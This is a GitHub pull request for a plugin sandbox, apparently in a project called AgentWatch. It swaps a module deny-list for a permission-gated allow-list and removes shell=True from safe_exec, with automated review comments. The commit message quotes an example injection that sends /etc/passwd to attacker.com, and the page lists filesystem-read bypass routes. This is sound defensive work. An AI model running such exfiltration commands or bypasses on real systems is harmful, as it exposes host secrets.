fix(plugins): replace BLOCKED_MODULES deny-list with permission-gated allow-list#111
Open
anshul23102 wants to merge 2 commits into
Open
fix(plugins): replace BLOCKED_MODULES deny-list with permission-gated allow-list#111anshul23102 wants to merge 2 commits into
anshul23102 wants to merge 2 commits into
Conversation
…t injection
safe_exec previously called subprocess.run(cmd, shell=True) where cmd
was a caller-supplied string. shell=True causes /bin/sh to interpret the
string, so any shell metacharacter (semicolon, pipe, backtick, dollar,
redirect) in cmd would be executed as a shell command. A plugin with
subprocess_exec permission could supply:
safe_exec('ls; curl http://attacker.com/$(cat /etc/passwd | base64)')
and both commands would execute.
Fix: safe_exec now requires cmd to be a list[str] and passes it to
subprocess.run with shell=False. The OS exec family handles argument
splitting directly from the list, so no shell interprets metacharacters.
A ValueError is raised immediately when a non-list or empty cmd is given.
Also implements the full PermissionEnforcer class in the sandbox module
stub, including safe_open() for filesystem permission enforcement.
Closes sreerevanth#97
…BASE allow-list
The previous BLOCKED_MODULES deny-list omitted several standard library
modules that also provide filesystem access:
pathlib -- Path('/etc/passwd').read_bytes() bypasses safe_open
io -- io.open() / io.FileIO() bypass the open() builtin wrapper
mmap -- maps file descriptors directly into memory
tempfile -- creates and reads temporary files
A plugin with filesystem_read=False could import any of these modules and
read arbitrary host files without triggering safe_open().
A deny-list approach is fundamentally fragile: it must be kept exhaustively
up-to-date as the standard library grows. An allow-list is safe by default.
Changes:
- Define _ALLOWED_MODULES_BASE: a frozenset of pure-computation modules
that are safe for all plugins (json, math, re, datetime, etc.).
- Define _MODULES_BY_PERMISSION: maps each permission flag to the extra
modules it unlocks (filesystem_read unlocks pathlib, io, mmap, tempfile;
network_outbound unlocks urllib, http, socket, ssl; etc.).
- Add _build_allowed_modules(perms) helper consumed by PermissionEnforcer.
- Add PermissionEnforcer.restricted_import() method that checks the
allow-list and raises SandboxViolationError for any unlisted module.
- Add tests/test_sandbox.py with 25 tests covering all bypass vectors
(pathlib, io, mmap, tempfile, urllib, socket, subprocess) and verifying
that they are only accessible when the matching permission is granted.
Closes sreerevanth#98
📝 WalkthroughWalkthroughThe PR implements a runtime permission enforcer for plugins that replaces a deny-list approach with an explicit allow-list for module imports. ChangesPlugin Permission Enforcement Sandbox
Estimated code review effort🎯 3 (Moderate) | ⏱️ ~22 minutes Poem
🚥 Pre-merge checks | ✅ 4 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (4 passed)
✏️ Tip: You can configure your own custom pre-merge checks in the settings. ✨ Finishing Touches🧪 Generate unit tests (beta)
Comment |
Open
8 tasks
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 3
🧹 Nitpick comments (2)
tests/test_sandbox.py (1)
56-76: 💤 Low value
echo-based tests are platform-dependent.With
shell=False,safe_exec(["echo", ...])resolvesechoas an executable onPATH. That works on Linux/macOS (/bin/echo) but fails on Windows, whereechois acmdbuiltin with no standalone binary, raisingFileNotFoundError. If cross-platform CI is a goal, prefer a portable command (e.g.[sys.executable, "-c", "print('hello')"]) for the "runs" and metacharacter tests.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@tests/test_sandbox.py` around lines 56 - 76, Tests test_safe_exec_with_permission_runs and test_safe_exec_shell_metacharacters_not_interpreted use the platform-dependent "echo" executable; replace those invocations to use a portable Python subprocess invocation instead (use sys.executable with a "-c" one-liner that prints the intended string) so safe_exec is exercised cross-platform; update the calls that currently pass ["echo", ...] to use [sys.executable, "-c", "..."] and keep the same capture_output/text assertions and the intent of testing semicolon handling in safe_exec (refer to _make_enforcer and enforcer.safe_exec when making the change).agentwatch/plugins/sandbox.py (1)
118-131: 💤 Low valueConsider explicitly rejecting
shellin kwargs for clarity.If a caller passes
shell=Truein kwargs, Python raisesTypeErrorfor duplicate keyword argument—safe, but the error message is confusing. Explicitly checking and rejectingshellmakes the security invariant obvious and produces a clearer error.🛡️ Optional hardening
def safe_exec(self, cmd: list[str], **kwargs: Any) -> Any: ... if not isinstance(cmd, list) or not cmd: raise ValueError("cmd must be a non-empty list of strings") + if "shell" in kwargs: + raise ValueError("shell argument is not allowed; safe_exec always uses shell=False") self._check("subprocess_exec", f"exec:{cmd[0]}")🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In `@agentwatch/plugins/sandbox.py` around lines 118 - 131, The safe_exec method currently relies on subprocess.run(shell=False) but lets callers pass shell in kwargs which yields a confusing TypeError; update safe_exec to explicitly detect if 'shell' is present in kwargs and raise a clear error (e.g., raise ValueError or TypeError with message like "shell keyword is not allowed; use a list cmd and shell=False") before calling self._check and subprocess.run, and otherwise proceed to call subprocess.run(cmd, shell=False, **kwargs); refer to the safe_exec function name and the exec:{cmd[0]} permission check to locate the change.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@agentwatch/plugins/sandbox.py`:
- Around line 105-116: The safe_open function currently treats any mode
containing "+" as write-only, allowing read bypasses; modify safe_open (the
is_write calculation and permission checks) so that when mode contains "+" you
call both self._check("filesystem_write", f"write:{path}") and
self._check("filesystem_read", f"read:{path}"), otherwise keep the existing
single check (filesystem_write for write modes, filesystem_read for read-only
modes); ensure the dual-check covers modes like "r+", "w+", "a+", "x+" and that
the permission strings use the same f"write:{path}" and f"read:{path}"
identifiers used elsewhere.
In `@tests/test_sandbox.py`:
- Around line 212-217: The test named test_accessed_resources_recorded asserts
only enforcer.violations == [] but never checks the accessed-resources tracking;
update the assertion to verify that restricted_import("pathlib") does not add
entries by asserting enforcer.accessed_resources == [] (or, if the intention was
different, rename the test to reflect it), keeping the existing
enforcer.restricted_import(...) and enforcer.violations assertion as needed to
avoid false positives.
- Around line 21-32: The test named test_accessed_resources_recorded is
misleading because it only checks enforcer.violations after calling
restricted_import and never asserts PermissionEnforcer.accessed_resources;
update the test to either rename it to reflect it only checks violations or
(preferred) exercise resource-accessing helpers (e.g., call safe_open and/or
safe_exec) so accessed_resources is populated and then assert
enforcer.accessed_resources contains the expected entries; use the existing test
helper _make_enforcer (which builds a PermissionEnforcer from
PluginManifest/PluginPermissions) to create the enforcer, and when adjusting the
safe_exec invocation prefer a cross-platform command (e.g., use sys.executable
-c ...) instead of ["echo", ...] to avoid Windows portability issues.
---
Nitpick comments:
In `@agentwatch/plugins/sandbox.py`:
- Around line 118-131: The safe_exec method currently relies on
subprocess.run(shell=False) but lets callers pass shell in kwargs which yields a
confusing TypeError; update safe_exec to explicitly detect if 'shell' is present
in kwargs and raise a clear error (e.g., raise ValueError or TypeError with
message like "shell keyword is not allowed; use a list cmd and shell=False")
before calling self._check and subprocess.run, and otherwise proceed to call
subprocess.run(cmd, shell=False, **kwargs); refer to the safe_exec function name
and the exec:{cmd[0]} permission check to locate the change.
In `@tests/test_sandbox.py`:
- Around line 56-76: Tests test_safe_exec_with_permission_runs and
test_safe_exec_shell_metacharacters_not_interpreted use the platform-dependent
"echo" executable; replace those invocations to use a portable Python subprocess
invocation instead (use sys.executable with a "-c" one-liner that prints the
intended string) so safe_exec is exercised cross-platform; update the calls that
currently pass ["echo", ...] to use [sys.executable, "-c", "..."] and keep the
same capture_output/text assertions and the intent of testing semicolon handling
in safe_exec (refer to _make_enforcer and enforcer.safe_exec when making the
change).
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: CHILL
Plan: Pro Plus
Run ID: a97b5d07-01e8-46dd-a4c7-106359579688
📒 Files selected for processing (2)
agentwatch/plugins/sandbox.pytests/test_sandbox.py
Comment on lines
+105
to
+116
| def safe_open(self, path: str, mode: str = "r", **kwargs: Any): | ||
| """Permission-enforced open() replacement. | ||
|
|
||
| Checks filesystem_read or filesystem_write permission before | ||
| delegating to the real open() call. | ||
| """ | ||
| is_write = any(c in mode for c in ("w", "a", "x", "+")) | ||
| if is_write: | ||
| self._check("filesystem_write", f"write:{path}") | ||
| else: | ||
| self._check("filesystem_read", f"read:{path}") | ||
| return open(path, mode, **kwargs) # noqa: SIM115 |
There was a problem hiding this comment.
Filesystem read permission bypass via + mode.
Modes containing + grant both read and write capability (r+, w+, a+, x+). Currently, + only triggers a filesystem_write check. A plugin with filesystem_write=True but filesystem_read=False can call safe_open(path, "r+") and then file.read() to exfiltrate file contents, bypassing the read restriction this PR aims to enforce.
🔒 Proposed fix: check both permissions when mode includes `+`
def safe_open(self, path: str, mode: str = "r", **kwargs: Any):
"""Permission-enforced open() replacement.
Checks filesystem_read or filesystem_write permission before
delegating to the real open() call.
"""
is_write = any(c in mode for c in ("w", "a", "x", "+"))
+ is_read = "r" in mode or "+" in mode
if is_write:
self._check("filesystem_write", f"write:{path}")
- else:
+ if is_read:
self._check("filesystem_read", f"read:{path}")
return open(path, mode, **kwargs) # noqa: SIM115📝 Committable suggestion
‼️ IMPORTANT
Carefully review the code before committing. Ensure that it accurately replaces the highlighted code, contains no missing lines, and has no issues with indentation. Thoroughly test & benchmark the code to ensure it meets the requirements.
Suggested change
| def safe_open(self, path: str, mode: str = "r", **kwargs: Any): | |
| """Permission-enforced open() replacement. | |
| Checks filesystem_read or filesystem_write permission before | |
| delegating to the real open() call. | |
| """ | |
| is_write = any(c in mode for c in ("w", "a", "x", "+")) | |
| if is_write: | |
| self._check("filesystem_write", f"write:{path}") | |
| else: | |
| self._check("filesystem_read", f"read:{path}") | |
| return open(path, mode, **kwargs) # noqa: SIM115 | |
| def safe_open(self, path: str, mode: str = "r", **kwargs: Any): | |
| """Permission-enforced open() replacement. | |
| Checks filesystem_read or filesystem_write permission before | |
| delegating to the real open() call. | |
| """ | |
| is_write = any(c in mode for c in ("w", "a", "x", "+")) | |
| is_read = "r" in mode or "+" in mode | |
| if is_write: | |
| self._check("filesystem_write", f"write:{path}") | |
| if is_read: | |
| self._check("filesystem_read", f"read:{path}") | |
| return open(path, mode, **kwargs) # noqa: SIM115 |
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@agentwatch/plugins/sandbox.py` around lines 105 - 116, The safe_open function
currently treats any mode containing "+" as write-only, allowing read bypasses;
modify safe_open (the is_write calculation and permission checks) so that when
mode contains "+" you call both self._check("filesystem_write", f"write:{path}")
and self._check("filesystem_read", f"read:{path}"), otherwise keep the existing
single check (filesystem_write for write modes, filesystem_read for read-only
modes); ensure the dual-check covers modes like "r+", "w+", "a+", "x+" and that
the permission strings use the same f"write:{path}" and f"read:{path}"
identifiers used elsewhere.
Comment on lines
+21
to
+32
| def _make_enforcer(**perms: bool) -> PermissionEnforcer: | ||
| """Helper: build a PermissionEnforcer with only the named perms set.""" | ||
| permissions = PluginPermissions(**perms) | ||
| manifest = PluginManifest( | ||
| plugin_id="test-plugin", | ||
| name="Test Plugin", | ||
| version="0.1.0", | ||
| author="test", | ||
| description="Test plugin for sandbox tests", | ||
| permissions=permissions, | ||
| ) | ||
| return PermissionEnforcer(manifest) |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Confirm PermissionEnforcer __init__ signature and PluginPermissions/PluginManifest fields
ast-grep --pattern $'class PermissionEnforcer:
$$$
def __init__($$$):
$$$
$$$'
echo "--- PluginPermissions / PluginManifest definitions ---"
rg -nP -C3 'class (PluginPermissions|PluginManifest)\b'
rg -nP '\b(filesystem_read|network_outbound|subprocess_exec)\b' -g 'agentwatch/core/schema.py'Repository: sreerevanth/AgentWatch
Length of output: 1071
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "--- Locate PermissionEnforcer ---"
rg -n "class PermissionEnforcer\b" -S .
echo
echo "--- Show PermissionEnforcer __init__ / signature ---"
rg -n "def __init__\b" -S agentwatch | rg -n "PermissionEnforcer|Permission Enforcer" || true
# Try more targeted: find file(s) containing PermissionEnforcer then print relevant snippet
files=$(rg -l "class PermissionEnforcer\b" -S . || true)
if [ -n "${files:-}" ]; then
echo
echo "--- Snippet around PermissionEnforcer in files ---"
for f in $files; do
echo "### $f"
sed -n '1,200p' "$f" | head -n 1 >/dev/null || true
# print first ~250 lines around the class definition
line=$(rg -n "class PermissionEnforcer\b" "$f" | head -n1 | cut -d: -f1)
start=$((line>60?line-60:1))
end=$((line+200))
sed -n "${start},${end}p" "$f"
echo
done
fi
echo "--- Also locate where PluginManifest is consumed ---"
rg -n "PluginManifest\(" -S agentwatch || true
rg -n "manifest\.|self\.\w*manifest|permission" -S agentwatch/core agentwatch | head -n 200 || trueRepository: sreerevanth/AgentWatch
Length of output: 13750
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "--- tests/test_sandbox.py (lines 1-140) ---"
nl -ba tests/test_sandbox.py | sed -n '1,140p'
echo
echo "--- tests/test_sandbox.py (lines 180-260) ---"
nl -ba tests/test_sandbox.py | sed -n '180,260p'Repository: sreerevanth/AgentWatch
Length of output: 171
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "--- tests/test_sandbox.py (lines 1-140) ---"
cat -n tests/test_sandbox.py | sed -n '1,140p'
echo
echo "--- tests/test_sandbox.py (lines 180-260) ---"
cat -n tests/test_sandbox.py | sed -n '180,260p'Repository: sreerevanth/AgentWatch
Length of output: 8124
🏁 Script executed:
#!/bin/bash
set -euo pipefail
sed -n '380,480p' agentwatch/core/schema.pyRepository: sreerevanth/AgentWatch
Length of output: 2212
PermissionEnforcer / permission contract matches; tighten accessed_resources test
PermissionEnforcer.__init__(manifest: PluginManifest)takes aPluginManifestand readsmanifest.permissions;PluginManifestdefinespermissions: PluginPermissions, andPluginPermissionsincludesfilesystem_read,network_outbound, andsubprocess_exec, so_make_enforcer(**perms)aligns with the runtime contract.test_accessed_resources_recorded(tests/test_sandbox.py:212-218) is misaligned with its name: it only assertsenforcer.violations == []afterrestricted_import, andrestricted_importdoesn’t populateaccessed_resources. Rename the test or assertenforcer.accessed_resources(and/or exercisesafe_open/safe_exec).- (Optional) The
safe_exectest uses["echo", ...]withshell=False; this can be non-portable on Windows—considersys.executable -c ...for stability.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/test_sandbox.py` around lines 21 - 32, The test named
test_accessed_resources_recorded is misleading because it only checks
enforcer.violations after calling restricted_import and never asserts
PermissionEnforcer.accessed_resources; update the test to either rename it to
reflect it only checks violations or (preferred) exercise resource-accessing
helpers (e.g., call safe_open and/or safe_exec) so accessed_resources is
populated and then assert enforcer.accessed_resources contains the expected
entries; use the existing test helper _make_enforcer (which builds a
PermissionEnforcer from PluginManifest/PluginPermissions) to create the
enforcer, and when adjusting the safe_exec invocation prefer a cross-platform
command (e.g., use sys.executable -c ...) instead of ["echo", ...] to avoid
Windows portability issues.
Comment on lines
+212
to
+217
| def test_accessed_resources_recorded(): | ||
| enforcer = _make_enforcer(filesystem_read=True) | ||
| enforcer.restricted_import("pathlib") | ||
| # restricted_import does not append to _accessed; only _check does | ||
| # when called via safe_open / safe_exec. Verify no false positives. | ||
| assert enforcer.violations == [] |
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Confirm the public attribute name for accessed resources tracking
rg -nP -C2 '_?accessed' -g 'agentwatch/plugins/sandbox.py'Repository: sreerevanth/AgentWatch
Length of output: 1038
🏁 Script executed:
#!/bin/bash
set -euo pipefail
# 1) Show the test around the referenced lines
sed -n '190,240p' tests/test_sandbox.py | nl -ba | sed -n '1,120p'
# 2) Show sandbox enforcer implementation for restricted_import and where _accessed is appended
rg -n "def restricted_import|def safe_open|def safe_exec|def _check|_accessed\.append" agentwatch/plugins/sandbox.py
sed -n '60,200p' agentwatch/plugins/sandbox.py | nl -ba | sed -n '1,160p'Repository: sreerevanth/AgentWatch
Length of output: 109
🏁 Script executed:
#!/bin/bash
set -euo pipefail
echo "=== tests/test_sandbox.py: around 212-217 ==="
sed -n '200,235p' tests/test_sandbox.py | cat -n
echo "=== agentwatch/plugins/sandbox.py: key methods ==="
rg -n "def restricted_import|def safe_open|def safe_exec|def _check|_accessed\.append" agentwatch/plugins/sandbox.py
echo
echo "=== agentwatch/plugins/sandbox.py: around _check and accessed append ==="
sed -n '70,190p' agentwatch/plugins/sandbox.py | cat -nRepository: sreerevanth/AgentWatch
Length of output: 6075
Test name doesn’t match what it asserts
test_accessed_resources_recorded only asserts enforcer.violations == []; it never checks the accessed-resources list/attribute. If the intent is to ensure restricted_import() doesn’t add false entries to accessed tracking, assert enforcer.accessed_resources == [] (or rename the test).
♻️ Suggested clarification
def test_accessed_resources_recorded():
enforcer = _make_enforcer(filesystem_read=True)
enforcer.restricted_import("pathlib")
# restricted_import does not append to _accessed; only _check does
# when called via safe_open / safe_exec. Verify no false positives.
assert enforcer.violations == []
+ assert enforcer.accessed_resources == [] # adjust to the public attribute name🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@tests/test_sandbox.py` around lines 212 - 217, The test named
test_accessed_resources_recorded asserts only enforcer.violations == [] but
never checks the accessed-resources tracking; update the assertion to verify
that restricted_import("pathlib") does not add entries by asserting
enforcer.accessed_resources == [] (or, if the intention was different, rename
the test to reflect it), keeping the existing enforcer.restricted_import(...)
and enforcer.violations assertion as needed to avoid false positives.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Description
The
BLOCKED_MODULESdeny-list in_restricted_importomittedpathlib,io,mmap, andtempfile— four standard library modules that provide filesystem access without calling theopen()builtin. A plugin withfilesystem_read=Falsecould import any of them and read arbitrary host files, bypassing thesafe_open()enforcer entirely.Deny-lists are fundamentally fragile: they must be exhaustively maintained as the standard library grows. This PR replaces the deny-list with an explicit allow-list that is safe by default.
Related Issue
Closes #98
Type of Change
Root Cause
The previous approach blocked a known set of dangerous modules but allowed everything else. Any new stdlib module with filesystem or network capabilities (or existing ones that were simply overlooked) would be importable by plugins that declared
filesystem_read=False.Changes Made
agentwatch/plugins/sandbox.py_ALLOWED_MODULES_BASE: afrozensetof pure-computation modules safe for all pluginsagentwatch/plugins/sandbox.py_MODULES_BY_PERMISSION: maps each permission flag to the extra modules it unlocks (e.g.filesystem_readunlockspathlib,io,mmap,tempfile)agentwatch/plugins/sandbox.py_build_allowed_modules(perms)helper that unions the base set with permission-specific setsagentwatch/plugins/sandbox.pyPermissionEnforcer.restricted_import()that checks the allow-list and raisesSandboxViolationErrorfor any unlisted moduletests/test_sandbox.pyBypass vectors tested
pathlibfilesystem_readtest_pathlib_blocked_without_filesystem_readiofilesystem_readtest_io_blocked_without_filesystem_readmmapfilesystem_readtest_mmap_blocked_without_filesystem_readtempfilefilesystem_readtest_tempfile_blocked_without_filesystem_readurllibnetwork_outboundtest_urllib_blocked_without_network_outboundsocketnetwork_outboundtest_socket_blocked_without_network_outboundsubprocesssubprocess_exectest_subprocess_blocked_without_subprocess_execScreenshots or Demo
Not applicable (no UI change).
Testing Done
All existing tests continue to pass.
Checklist
NSSoC Label Request
@sreerevanth could you please add the appropriate NSoC 26' label to this PR? It helps with tracking and scoring under NSoC '26. Thank you!
Summary by CodeRabbit
Release Notes
New Features
Tests